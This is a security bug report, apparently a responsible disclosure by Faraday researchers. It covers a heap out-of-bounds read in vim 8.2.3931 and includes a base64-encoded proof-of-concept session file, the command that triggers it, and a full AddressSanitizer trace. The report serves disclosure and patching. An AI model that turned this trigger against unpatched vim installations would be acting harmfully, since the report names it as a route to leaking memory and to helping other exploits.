A heap-based OOB read of size 1 occurs when a user tries to open a vim session file specified below. This happens regardless of any command line options that could be specified to restrict vim, such -Z and -m. This bug has been found on default vim build (version 8.2.3931, commit hash febb78fa1798e0f95983b3f7881419a754886df5
) on Ubuntu 20.04 for x86_64/amd64 with gcc 9.3.0.
After building vim with gcc and ASAN run vim with the following session file:
$ echo -ne 'bm9ybTBvMDADMBYkczAKL1wlVg==' | base64 -d > poc
$ vim -u NONE -i NONE -n -X -Z -e -m -s -S poc -c ':qa!'
=================================================================
==37689==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6020000082f2 at pc 0x560e67358374 bp 0x7ffc92b6f810 sp 0x7ffc92b6f800
READ of size 1 at 0x6020000082f2 thread T0
#0 0x560e67358373 in utf_head_off /home/faraday/vim/src/mbyte.c:3866
#1 0x560e67bf8bd5 in getvcol /home/faraday/vim/src/charset.c:1250
#2 0x560e67bfaf69 in getvvcol /home/faraday/vim/src/charset.c:1419
#3 0x560e675b9a7d in reg_match_visual /home/faraday/vim/src/regexp.c:1323
#4 0x560e67647fe9 in nfa_regmatch /home/faraday/vim/src/regexp_nfa.c:6889
#5 0x560e6764a8fc in nfa_regtry /home/faraday/vim/src/regexp_nfa.c:7245
#6 0x560e6764d5d0 in nfa_regexec_both /home/faraday/vim/src/regexp_nfa.c:7440
#7 0x560e6764e90f in nfa_regexec_multi /home/faraday/vim/src/regexp_nfa.c:7660
#8 0x560e676505a2 in vim_regexec_multi /home/faraday/vim/src/regexp.c:2908
#9 0x560e676b2830 in searchit /home/faraday/vim/src/search.c:746
#10 0x560e676b7d1c in do_search /home/faraday/vim/src/search.c:1546
#11 0x560e671592ef in get_address /home/faraday/vim/src/ex_docmd.c:4284
#12 0x560e6714a6f7 in parse_cmd_address /home/faraday/vim/src/ex_docmd.c:3235
#13 0x560e6713d699 in do_one_cmd /home/faraday/vim/src/ex_docmd.c:1945
#14 0x560e671359eb in do_cmdline /home/faraday/vim/src/ex_docmd.c:994
#15 0x560e676a7292 in do_source /home/faraday/vim/src/scriptfile.c:1423
#16 0x560e676a3e5b in cmd_source /home/faraday/vim/src/scriptfile.c:985
#17 0x560e676a3fdf in ex_source /home/faraday/vim/src/scriptfile.c:1011
#18 0x560e67141cce in do_one_cmd /home/faraday/vim/src/ex_docmd.c:2572
#19 0x560e671359eb in do_cmdline /home/faraday/vim/src/ex_docmd.c:994
#20 0x560e671335a8 in do_cmdline_cmd /home/faraday/vim/src/ex_docmd.c:588
#21 0x560e67c1a8b8 in exe_commands /home/faraday/vim/src/main.c:3080
#22 0x560e67c0c3ff in vim_main2 /home/faraday/vim/src/main.c:774
#23 0x560e67c0b8e7 in main /home/faraday/vim/src/main.c:426
#24 0x7f40e7a4a0b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
#25 0x560e66eb0d7d in _start (/home/faraday/vim_asan+0x120ed7d)
0x6020000082f2 is located 0 bytes to the right of 2-byte region [0x6020000082f0,0x6020000082f2)
allocated by thread T0 here:
#0 0x7f40e99e0bc8 in malloc (/lib/x86_64-linux-gnu/libasan.so.5+0x10dbc8)
#1 0x560e66eb121e in lalloc /home/faraday/vim/src/alloc.c:244
#2 0x560e66eb0fe9 in alloc /home/faraday/vim/src/alloc.c:151
#3 0x560e66f1e8d8 in ins_char_bytes /home/faraday/vim/src/change.c:1088
#4 0x560e66f1d8c8 in ins_char /home/faraday/vim/src/change.c:1003
#5 0x560e670408b5 in insertchar /home/faraday/vim/src/edit.c:2276
#6 0x560e6703e7e8 in insert_special /home/faraday/vim/src/edit.c:2031
#7 0x560e670393c4 in edit /home/faraday/vim/src/edit.c:1372
#8 0x560e6747cc38 in op_change /home/faraday/vim/src/ops.c:1769
#9 0x560e6749b982 in do_pending_operator /home/faraday/vim/src/ops.c:4043
#10 0x560e6741c8e0 in normal_cmd /home/faraday/vim/src/normal.c:1140
#11 0x560e6717faee in exec_normal /home/faraday/vim/src/ex_docmd.c:8630
#12 0x560e6717f8ad in exec_normal_cmd /home/faraday/vim/src/ex_docmd.c:8593
#13 0x560e6717edcb in ex_normal /home/faraday/vim/src/ex_docmd.c:8511
#14 0x560e67141cce in do_one_cmd /home/faraday/vim/src/ex_docmd.c:2572
#15 0x560e671359eb in do_cmdline /home/faraday/vim/src/ex_docmd.c:994
#16 0x560e676a7292 in do_source /home/faraday/vim/src/scriptfile.c:1423
#17 0x560e676a3e5b in cmd_source /home/faraday/vim/src/scriptfile.c:985
#18 0x560e676a3fdf in ex_source /home/faraday/vim/src/scriptfile.c:1011
#19 0x560e67141cce in do_one_cmd /home/faraday/vim/src/ex_docmd.c:2572
#20 0x560e671359eb in do_cmdline /home/faraday/vim/src/ex_docmd.c:994
#21 0x560e671335a8 in do_cmdline_cmd /home/faraday/vim/src/ex_docmd.c:588
#22 0x560e67c1a8b8 in exe_commands /home/faraday/vim/src/main.c:3080
#23 0x560e67c0c3ff in vim_main2 /home/faraday/vim/src/main.c:774
#24 0x560e67c0b8e7 in main /home/faraday/vim/src/main.c:426
#25 0x7f40e7a4a0b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/faraday/vim/src/mbyte.c:3866 in utf_head_off
Shadow bytes around the buggy address:
0x0c047fff9000: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
0x0c047fff9010: fa fa fd fd fa fa fd fd fa fa fd fa fa fa 01 fa
0x0c047fff9020: fa fa 00 00 fa fa 01 fa fa fa fd fa fa fa fd fa
0x0c047fff9030: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
0x0c047fff9040: fa fa 02 fa fa fa 02 fa fa fa 00 fa fa fa 03 fa
=>0x0c047fff9050: fa fa fd fa fa fa 02 fa fa fa fd fa fa fa[02]fa
0x0c047fff9060: fa fa 05 fa fa fa 04 fa fa fa 04 fa fa fa 04 fa
0x0c047fff9070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9090: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff90a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==37689==ABORTING
While the poc input file contains a few non-printable characters, these cannot be minimized or left out because they will be interpreted as key presses by vim (because of the first norm command).
This vulnerability is capable disclosing data and might lead to bypass protection mechanisms facilitating successful exploitation of other memory corruption vulnerabilities that may lead to code execution.
This bug was found by Octavio Gianatiempo ([email protected]) and Octavio Galland ([email protected]) from Faraday Research Team.